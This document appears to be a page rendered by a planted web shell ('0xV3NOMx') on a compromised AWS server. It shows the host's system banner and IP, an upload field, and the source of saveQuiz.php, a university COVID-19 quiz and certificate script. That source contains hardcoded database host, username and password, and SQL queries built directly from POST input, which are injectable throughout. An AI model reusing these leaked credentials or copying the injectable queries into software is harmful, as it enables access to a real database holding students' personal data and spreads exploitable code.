0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.137.181.194


Current Path : /var/www/html/dud/
Upload File :
Current File : /var/www/html/dud/saveQuiz.php

<?php
include("sendGridMail.php");
$servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
$username   = "admin";
$password  = "Logisys2104";

$conn = new  mysqli($servername,$username,$password);
if(!$conn) 
{
    die("Connection failed: " . mysqli_connect_error());
}

$db = "logisys3_dud";

$type = $_POST['type'];

if($type == 'sendnoif')
{

    $appno = $_POST['appno'];
    $fname = $_POST['fname'];
    $emailid = $_POST['femail'];
    
   
    $query = "update {$db}.qztran set femailsent = NOW()
    where fappno = '{$appno}'";
  
    $result = mysqli_query($conn, $query);
  
    $message="<html>";
    $message.="<body>";
    $message.="<style>";		
    $message.=".mail_tbl td{text-align:left; padding:2px; font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif;}";	
    $message.="</style>";
    $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>Dear ".$fname.",</p></br>";
    $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif;'>Congratulations. Please download the certificate.</p></br>";
    $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>Certificate ID :".$appno."</p></br>"; 
    $message.='<p style="font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif"> <a href="http://universitysolutions.in/univadmin/app.php?a=dudCovid19Cert&univcode=023&appno='.$appno.'"> Clik Here To Download</a></p> </br>';		
    $message.="</br>";
    $message.="</body>";
    $message.="</html>";
    $subject="COVID - 19 GENERAL AWARENESS ACTIVITY"; 
    //$message = base64_encode($message);    
    
    $resp = sendGridMail($emailid,$subject,$message);
	echo json_encode($resp);
	return;
} else if($type == 'study')
{
  
    $topic = $_POST['topic'];
    $name = $_POST['name'];
    $mob = $_POST['mob'];
    $coll = $_POST['coll'];
    $path = $_POST['path'];
    $email = $_POST['email'];

    $query = "insert into {$db}.qztran(fid,fname,fmobileno,fcollege,fpath,femail)
         values('{$topic}','{$name}','{$mob}','{$coll}','{$path}','{$email}')";
    $result = mysqli_query($conn, $query);
    $id = $conn->insert_id;
    
    if($result)
    {
        $data = "Uploaded Successfully. Your Application No is : ".$id.". Thank you for your participation. Eligible activities will get e- certificate by mail";

        echo json_encode($data);
        return;
    }else
    {
        $data = "Upload failure. Please try after some time!";
        echo json_encode($data);
        return;
    }   
} else if($type == 'studyappr')
{

    $status = $_POST['status'];
    $emailstatus = $_POST['emailstatus'];
    $cnd = "and q.fid = '{$status}'";
    if($status == 'All')
    {
        $cnd = "";
    }

    $cnd2 = "and ifnull(q.femailsent,'') = ''";
    if($emailstatus == 'sent')
    {
        $cnd2 = "and ifnull(q.femailsent,'') <> ''";
    }else if($emailstatus == 'All')
    {
        $cnd2 = "";
    }


    $Query = "select t.fdescpn,fname,fmobileno,fcollege,femail,fpath,date_format(fcreated,'%d/%m%Y %h:%m %p') as fcreated,fappno
     from {$db}.qztran q inner join {$db}.qztopic t on q.fid = t.fid
    where ifnull(t.fdeleted,'') <> 'T'
    $cnd $cnd2
    order by fcreated desc";
    //var_dump($Query);
	$result = mysqli_query($conn, $Query);
	$i=0;
	while($row = mysqli_fetch_assoc($result))
	{
		$row1[$i] = $row;
		$i++;
    }

    if($result)
    {
        $arr['data'] = $row1;
        $arr['error_code'] = 0;
        echo json_encode($arr);
        return;
    }else
    {
        $arr['data'] = "No Data Found!";
        $arr['error_code'] = -1;
        echo json_encode($arr);
        return;
    }   
    
}else if($type =='appstudymat')
{
    $id = $_POST['id'];
    $update = "update {$db}.osmmain set FAPPRSTATUS = 'approved', FAPPRDATE = now()
    where FOSMID = '{$id}'"; 
    $result = mysqli_query($conn, $update);

    if($result)
    {
        $arr = "Approved Successfully";
        echo json_encode($arr);
        return;
    }else
    {
        $arr = "Approve Failed. Please try again";
        echo json_encode($arr);
        return;
    }

}

?>